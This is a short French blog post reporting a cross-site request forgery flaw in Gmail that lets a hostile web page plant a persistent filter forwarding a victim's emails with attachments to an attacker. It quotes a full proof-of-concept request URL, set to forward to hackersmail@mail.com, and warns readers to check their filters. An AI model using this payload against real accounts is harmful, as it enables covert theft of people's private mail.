Natchers

Une Faille dans Gmail

Comment quelqu’un peut installer un backdoor persistant dans votre compte GMail et sur toutes vos conversations. Je répète, il est persistant. Il est très critique et très peu probable que vous le détecterez à moins que vous soyez un utilisateur averti et rigoureux.
La victime visite une page tout en étant connecté dans GMail.

Lors de l’exécution,
la page exécute un multipart/form-data POST à une des interfaces de GMail et injecte un filtre dans la liste des filtres de la victime. L’attaque écrit un filtre, qui recherche simplement des email avec des pièces jointes et les expédie à un email de son choix.

Ce filtre transférera automatiquement tous les emails s’assortissant à la règle.

Gardez à l’esprit que vos futurs emails seront aussi bien expédiés.

L’attaque demeure actuelle pour autant que la victime à le filtre dans sa liste de filtres, même si la vulnérabilité initiale, qui était la cause de l’infection, est fixée par Google.

La technique utilisée dans ce cas est connue en tant que Cross-Site Request Forgery ou CSRF. Un pirate pourrait détourner le compte Gmail d’un utilisateur après l’avoir attiré sur une page web infectée.

On attent un correctif de la part de Google. Yahoo est bien meilleur actuellement, particulièrement quand on parle de Web2.0 api.

L’exploit a été vérifiée par Ryan Naraine et d’autres crient au loup (Petko Petrov ). Cela fonctionne et c’est extrêmement méchant.

Citation :

http://www.site.com/divers/crsf?_method=POST&_
enctype=multipart/form-data&_action=https%3A//
mail.google.com/mail/h/evt1jvuj4ddv/%3Fv%3Dprf&cf2_
emc=true&cf2_email=hackersmail@mail.com&cf1_from&cf1_
to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s
=z&irf=on&nvp_bu_cftb=Create%20Filter

La demande ci-dessus passe par un utilitaire de redirection du CSRF où elle est convertie en forme de multipart/form-data POST et soumise au nom de la victime.

Dans une époque où toutes données sont en liberté, il me semble que vous n’avez aucune chance que cela vous arrive…

Verfier quand même dans vos filtres.

D’autres failles ont été dernièrement mises à jour dans Picasa et Blogger….

Laisser un commentaire • Imprimer cet article • Envoyez ceci par e-mail